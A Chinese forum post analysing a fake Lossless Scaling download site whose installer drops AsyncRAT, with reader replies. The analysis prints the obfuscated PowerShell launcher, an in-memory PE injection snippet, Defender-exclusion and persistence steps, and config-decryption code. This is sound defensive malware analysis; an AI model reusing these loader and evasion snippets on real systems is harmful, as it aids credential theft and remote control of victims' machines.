Lossless Scaling 冒牌货小黄鸭分析
本帖最后由 MicroBlock 于 2025-2-7 03:27 编辑冒牌货官网:https://lossless-scaling.com/
在必应/Google第一页第一个,都是它,非常恶心
下载得到一个 .iso,挂载 iso 如下
打开 bat 文件,发现是加密过的
直接编辑 powershell 到 echo,加个pause,发现执行了如下指令
"$b='"cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IEJ5cGFzcyAtRmlsZSBsYW5ndWFnZS93aW5feC5wczE="';Invoke-Expression(::UTF8.GetString(::FromBase64String($b)))"
解码base64得到如下命令行
powershell -ExecutionPolicy Bypass -File language/win_x.ps1
找到对应文件,内容如下
逻辑很简单
1. 主要文件被藏在 en-US 和 uk-UA 两个语言文件夹下
2. 复制到了 C:\Users\Public\IObitUnlocker 和 C:\Program Files (x86)\Lossless Scaling
3. 注册了原版小黄鸭的 Steam ID,使其在steam上显示为已安装
4. 执行了另一个脚本
再看另一个脚本 Win.ps1
(还tm有注释,这是哪国语言啊)
1.添加 Microsoft Defender 豁免文件夹(惯用操作了)
2.
尝试关闭一堆杀毒软件
3. 给 C:\Users\Public\IObitUnlocker\Loader.vbs 添加开机自启动
接下来魔幻的东西来了
EN.dll 是一个 RAR 文件
RU.dll 是一个 vb 脚本
UK.dll 和 Win.ps1 内容一样,是一个ps1脚本
rar 有密码,在 UK.dll 内直接找到密码 ahmad..123
内有loader等,继续拆
有一个 Report.ps1
同样 IEX 换成 echo 搞定真实内容
内有一个恶意二进制
使用
::Load($WTYX3).GetType('NewPE.PE').GetMethod('Execute').Invoke($null,] ('C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe',$GFFHY4))
动态在内存中生成 PE 文件并执行,其中WTYX3和GFFHY4应该都是可执行文件,WTYX3看起来就是个loader,先不管,我们先把 GFFHY4拿出来
::WriteAllBytes("$PWD/payload.bin", $GFFHY4)
很小一个,拖进 BN
结果发现是 C# 写的,关掉BN,拖进 dnSpy
随便看看,就有各种嫌疑代码
1. 给自己设置最高等级的开机自启动
2. 加密网络流
注意 230 行处,以收到的命令为参数启动线程
3. 接收到的远程执行命令全流程
4. 更多来自攻击者的命令接收
这里使用了明文,非常明显了
-关闭 UAC
- 读取所有 Cookies,本地密码管理器内存储的密码并上传
- 从主控端下载文件并执行
- 更多动态编译的功能,这里就不细看了
5. 服务器
稍微跟一下,可以发现这个服务器地址是 AES 加密的,而
密钥只是一个简单的base64,解码为:Z3Qm1zzkkXh9HzsJWTLeTHla4tCQk5jQ
我们直接照着他的算法抄一份 Node.JS 的
const crypto = require('crypto');
function VXoXrMatOspJbEgD(rAMDwziHxfjPkEqd, key, hmacKey) {
if (!rAMDwziHxfjPkEqd) {
throw new Error("input can not be null.");
}
const memoryStream = Buffer.from(rAMDwziHxfjPkEqd);
// HMAC-SHA256 verification
const hmac = crypto.createHmac('sha256', hmacKey);
hmac.update(memoryStream.slice(32));
const computedHmac = hmac.digest();
const receivedHmac = memoryStream.slice(0, 32);
if (!crypto.timingSafeEqual(computedHmac, receivedHmac)) {
throw new Error("Invalid message authentication code (MAC).");
}
// Extract IV and encrypted data
const iv = memoryStream.slice(32, 48);
const encryptedData = memoryStream.slice(48);
// AES-256-CBC decryption
const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
decipher.setAutoPadding(true); // PKCS7 padding
let decrypted = decipher.update(encryptedData);
decrypted = Buffer.concat([decrypted, decipher.final()]);
return decrypted;
}
function orsaLNQpzbmXvuC(masterKey) {
if (!masterKey) {
throw new Error("masterKey can not be null or empty.");
}
const salt = Buffer.from([
191, 235, 30, 86, 251, 205, 151, 59, 178, 25,
2, 36, 48, 165, 120, 67, 0, 61, 86, 68,
210, 30, 98, 185, 212, 241, 128, 231, 230, 195,
57, 65
]);
const iterations = 50000;
const keyLength = 96;
const derivedKey = crypto.pbkdf2Sync(masterKey, salt, iterations, keyLength, 'sha1');
const FPgveyeVEBdL = derivedKey.slice(0, 32);
const piWLIFgMuOZQB = derivedKey.slice(32, 96);
return { FPgveyeVEBdL, piWLIFgMuOZQB };
}
const masterKey = 'Z3Qm1zzkkXh9HzsJWTLeTHla4tCQk5jQ';
const { FPgveyeVEBdL, piWLIFgMuOZQB } = orsaLNQpzbmXvuC(masterKey);
console.log('FPgveyeVEBdL:', FPgveyeVEBdL.toString('hex'));
console.log('piWLIFgMuOZQB:', piWLIFgMuOZQB.toString('hex'));
const encryptedData = Buffer.from('bMr+Y2AOU65oA+bQQrFw2tIu6n1LeVvNQOPAQH6LxOPChy/ONUWcUFSMvLVFl6FYYXtRqVAV7SxbVHm37Mpz6Q==', 'base64');
const key = Buffer.from(FPgveyeVEBdL, 'hex');
const hmacKey = Buffer.from(piWLIFgMuOZQB, 'hex');
try {
const decryptedData = VXoXrMatOspJbEgD(encryptedData, key, hmacKey);
console.log('Decrypted data:', decryptedData.toString('utf8'));
} catch (error) {
console.error('Decryption failed:', error.message);
}
直接解码得到远控地址:e***6.g***e.com
还可以解码出一些其它信息,应该是木马的配置文件(这TM还是预制木马?)
这时候我们再回头来看另一个二进制文件,很容易就发现它是一个 ProjFUD Injector,将另外一个 Payload 注入到 .net 的 compiler 里面
非常明显,这就是一个 RAT 远控肉鸡木马,将特征上网搜索后可知,该木马归属于 AsyncRAT。
各位坛友下软件时一定要小心,这种看起来就很可疑的软件就不要执行了
另外,已经下载执行了的朋友个人建议首先退出所有登录了的账号,修改所有账号的密码,然后直接全盘清空重装,这种会在你电脑上下别的病毒的病毒,你说不清楚他到底都干了些啥。
这个样本的分析难度较低,主要难点依然在于分析两个混淆很严重的二进制,但是由于是 C#,难度也直线下降了;本次分析我没有用到动态分析,主要是懒。目标除了脑子比较抽象,都很常规 分析得很专业。我完全看不懂 https://lossless-scaling.cybar.xyz/#screenshots 这个网址下的扫出来是下面这个
https://s.threatbook.com/report/file/231ea35a10bb693b91eb2f1f520279fc85e6e3dcd8df0999d365b4fc8b7c60a6显示安全,应该没问题吧?有没有大佬分析一下 感谢分享!分析得很专业 感谢分享 这个太容易上当了 毕竟还是google第一个 分析的非常专业 有些dy和阿B的博主教程放的都是这个网址{:1_907:} plutoxxy 发表于 2025-2-7 14:49
有些dy和阿B的博主教程放的都是这个网址
那就不知道是故意的,还是不小心的了 google第一个这是咋做到的 https://s.threatbook.com/report/file/32b9247f8a96f82bf260df7026a03b20fd61e5b6d63d11f73f97159485b90ca0
杀软输了{:1_937:} 分析的非常专业